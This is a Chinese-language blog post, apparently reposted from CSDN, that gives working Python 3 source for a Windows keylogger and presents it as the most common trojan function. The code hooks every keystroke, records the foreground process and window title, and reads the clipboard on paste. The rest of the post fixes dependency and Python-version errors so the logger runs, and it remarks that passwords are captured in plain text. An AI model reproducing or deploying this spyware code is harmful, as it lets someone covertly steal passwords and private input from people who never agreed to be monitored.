键盘记录的python3代码实现


下面给出木马最常见的一个功能:键盘记录的python3代码实现。

代码部分:

######################################################################
# 程序名:keylogger.py
# 功能:利用Python第三方库PyHook实现键盘记录
# 说明:运行平台Windows。它利用Windows的SetWindowsHookEx函数注册了一个
#		自定义的钩子函数,通过函数就能截获用户的按键信息
######################################################################
from ctypes import *
import pythoncom
import PyHook3 as pyHook
import win32clipboard


user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None


def get_current_process():
	# 获取最上层的窗口句柄
	hwnd = user32.GetForegroundWindow()  #获得前台窗口句柄
	pid = c_ulong(0)
	user32.GetWindowThreadProcessId(hwnd,byref(pid))
	process_id = "%d" % pid.value        #将进程ID存入变量中

	#申请内存
	executable = create_string_buffer("\x00"*1024)
	h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
	psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) #获得进程名

	# 读取窗口标题
	window_title=create_string_buffer("\x00" * 512)			
	length = user32.GetWindowTextA(hwnd,byref(window_title),512)  #获得窗口名

	#打印
	print()
	print("[PID: %s-%s-%s]" %(process_id,executable.value,window_title.value))
	print()

	#关闭handles
	kernel32.CloseHandle(hwnd)
	kernel32.CloseHandle(h_process)


	#定义击键监听事件函数
def key_event(event):
	global current_window
	if event.WindowName!= current_window:  		#检查目标是否切换了窗口
		current_window = event.WindowName
		get_current_process()

	
	if event.Ascii > 32 and event.Ascii <  127: #检查是否为常规按键
		print(chr(event.Ascii), end=' ')

	else:
		if event.Key == "V":			#如果是CTRL+V,则获取剪贴板内容
			win32clipboard.OpenClipboard()
			pasted_value = win32clipboard.GetClipboardData()
			win32clipboard.CloseClipboard()
			print("[PASTE] - %s" % (pasted_value), end=' ')
		else:
			print("[%s]" % event.Key, end=' ')
	#循环监听下一个敲键事件
	return True									#返回到下一个钩子事件


def key_logger():
	hooker	= pyHook.HookManager()   #创建构造函数管理器
	hooker.KeyDown = key_event       #注册钩子按键事件的处理函数
	hooker.HookKeyboard()            #创建键盘钩子
	pythoncom.PumpMessages()         #执行


if __name__ == "__main__":
	key_logger()

########################################################################

问题1: python2代码转为python3代码
问题2:pythoncom和pyhook包的下载
问题3:报错,TypeError: KeyboardSwitch() missing 8 required positional arguments: ‘msg’, ‘vk_code’, ‘scan_code’, ‘ascii’, ‘flags’, ‘time’, ‘hwnd’, and ‘win_name’
import pythoncom
pip install pywin32

question1:

查看python安装路径:
一般为:C:\Users\用户\AppData\Local\Programs\Python\Python37\Tools\scripts

在这里插入图片描述
在地址栏输入cmd,打开当前位置的命令行。
然后输入python 2to3.py -w keylogger.py . -w : 写入文件。
在输入文件的时候,可以直接拖移到命令行,自动填入文件路径。
输出结果会显示改变的具体内容。
python3代码的内容直接写入原先的文件里面。

可以把这个功能写入注册表
参考链接:https://blog.csdn.net/admans/article/details/79655733

于是想到了通过对.py文件右键添加一个命令进行自动处理:

将下边面的reg代码复制另存为“python 2to3.reg”文件,然后双击此文件,导入到注册表。
python 2to3.reg为文件名

在这里插入图片描述

Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\Python.File\Shell\editwithidle\shell\2to3\command]
@="cmd /c C:\\Users\\Administrator\\AppData\\Local\\Programs\\Python\\Python36-32\\Tools\\scripts\\2to3.py -w \"%1\""

说明: C:\Users\Administrator\AppData\Local\Programs\Python\Python37\Tools\scripts\2to3.py 此文件路径在python安装目录,保持跟本机一致!
然后右键.py文件,发现右键菜单多了个菜单:
在这里插入图片描述

点击运行,再看.py文件已经自动转换完成!!

question2:

pythoncom和pyhook包的下载
pythoncom:
pip install pywin32

在这里插入图片描述
在这里插入图片描述
pyhook 下载:

用网上的pyhook.whl下载之后,会出现以下错误。

question3:

报错解决
TypeError: KeyboardSwitch() missing 8 required positional arguments: ‘msg’, ‘vk_code’, ‘scan_code’, ‘ascii’, ‘flags’, ‘time’, ‘hwnd’, and ‘win_name’

说明:
KeyboardEvent的时候遇到了KeyboardSwitch() missing 8的情况;该问题具体表现在当你focus的那个进程的窗口title带中文, 就会出现上面那个错误, 如果都是英文或者其他ascii字符则不会。网上了解到是PyHook在Python3的windows下的一个bug。

通过以下方法来解决。
pip install pyhook3
报错
参考链接:https://www.cnblogs.com/pmh905001/p/12194504.html
在这里插入图片描述
安装swig
下载链接:
https://sourceforge.net/projects/swig/files/latest/download

解压缩swigwin-3.0.12.zip,将其路径设置到path环境变量中,重新执行,安装成功。

环境变量配置完,需不需要重启?
在这里插入图片描述

配置完,可以尝试
如: 打开cmd ,输入swig -help,如果有显示,则说明不需要重启。报错的话,需要重启。
在这里插入图片描述

这个属于系统服务,需要重启。
重新运行命令
pip install pyhook3
在这里插入图片描述

运行结果:

密码也以明文的形式显示。
在这里插入图片描述
附录:

报错解决,之前有个报错,没有解决,因为不影响获取键盘信息,有个老哥,给我说了一下,在这里说明一下。
报错如下:
在这里插入图片描述
解决办法
去掉16进制,
executable = create_string_buffer("\x00"*1024)
window_title=create_string_buffer("\x00" * 512)
修改为
executable = create_string_buffer(1024)
window_title=create_string_buffer( 512)
即可。

猜你喜欢

转载自blog.csdn.net/weixin_41603028/article/details/109581571